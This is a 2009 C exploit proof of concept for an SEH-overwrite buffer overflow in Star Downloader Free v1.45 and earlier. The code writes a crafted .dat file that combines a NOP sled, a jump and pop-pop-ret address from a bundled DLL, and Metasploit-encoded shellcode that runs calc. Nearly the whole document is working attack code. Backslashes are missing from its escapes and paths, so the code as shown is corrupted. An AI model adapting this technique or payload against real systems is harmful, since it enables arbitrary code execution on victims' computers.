/*    
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM
   [ Discovered and Exploited by dun ]


 [ Star Downloader Free <= v1.45 ] (.dat) Universal SEH Overwrite Exploit

 Vendor:    http://www.stardownloader.com
 Download:  http://www.stardownloader.com/sdfree.exe
 
 Vuln:
 LocalFileName=A x 1398
 
 1 run this expl( create file pwn.dat in  "C:Program FilesStar DownloaderPartial Downloads" directory )
 2 now run Star Downloader Free
 3 .. ;0

 [ dun'at'strcpy.pl / 2009 ] 
*/


#include <windows.h>
#include <stdio.h>

/*

/SafeSEH OFF     0x10000000    0x10025000    1, 0, 0, 1   C:Program FilesStar DownloaderNSHelper.dll

C:crack>Findjmp2.exe "C:Program FilesStar DownloaderNSHelper.dll" EBX
...
0x100112C2      pop EBX - pop - ret
...
*/

#define RET   0x100112C2      // pop-pop-ret
#define JMP   0x909011EB      // short jump (jmp 11)
#define NOP   0x90
#define LEN   1390+4+4+40+343


char header1[] =
"x5Bx4Fx70x74x69x6Fx6Ex73x5Dx0Ax0Ax55x52x4Cx3Dx68"
"x74x74x70x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x2Ex63x6Fx6D"
"x0Ax4Cx6Fx63x61x6Cx46x69x6Cx65x4Ex61x6Dx65x3D";

char header2[] = 
"x0Ax53x74x61x74x75x73x3Dx53x63x68x65x64x75x6Cx65"
"x64x0Ax46x69x6Cx65x53x69x7Ax65x3Dx30x0Ax4Ex75x6D"
"x4Fx66x50x61x72x74x73x3Dx2Dx31x0Ax43x61x74x65x67"
"x6Fx72x79x3Dx0Ax44x65x73x63x72x69x70x74x69x6Fx6E"
"x3Dx0A";

// win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
char scode[] =
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47"
"x45x30x4ax47x41x50x4fx4ex4bx48x4fx44x4ax41x4bx48"
"x4fx55x42x52x41x30x4bx4ex49x54x4bx58x46x43x4bx38"
"x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x48x42x4c"
"x46x37x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx43x46x55x46x32x46x30x45x47x45x4ex4bx48"
"x4fx35x46x32x41x30x4bx4ex48x56x4bx58x4ex30x4bx44"
"x4bx58x4fx55x4ex31x41x50x4bx4ex4bx58x4ex51x4bx48"
"x41x50x4bx4ex49x58x4ex55x46x42x46x30x43x4cx41x33"
"x42x4cx46x36x4bx38x42x44x42x53x45x48x42x4cx4ax37"
"x4ex30x4bx48x42x54x4ex30x4bx58x42x57x4ex51x4dx4a"
"x4bx38x4ax36x4ax50x4bx4ex49x30x4bx48x42x48x42x4b"
"x42x50x42x50x42x50x4bx48x4ax56x4ex33x4fx35x41x53"
"x48x4fx42x56x48x45x49x38x4ax4fx43x58x42x4cx4bx57"
"x42x35x4ax46x42x4fx4cx58x46x50x4fx55x4ax36x4ax59"
"x50x4fx4cx38x50x50x47x35x4fx4fx47x4ex43x36x41x56"
"x4ex56x43x46x42x30x5a";


int main() {
    
FILE *file;

char buf[LEN+1];
char *ptr=buf;


memset(buf,NOP,LEN);
buf[LEN]='';
*(unsigned long *)&buf[1389] = JMP;
*(unsigned long *)&buf[1393] = RET;
ptr+=1390+4+4+40;
memcpy(ptr, scode, strlen(scode));

file=fopen("C:\Program Files\Star Downloader\Partial Downloads\pwn.dat","w");

fputs(header1,file);
fputs(buf,file);
fputs(header2,file);

fclose(file);

printf("Done..n");
 return 0;   
}

// www.Syue.com [2009-04-15]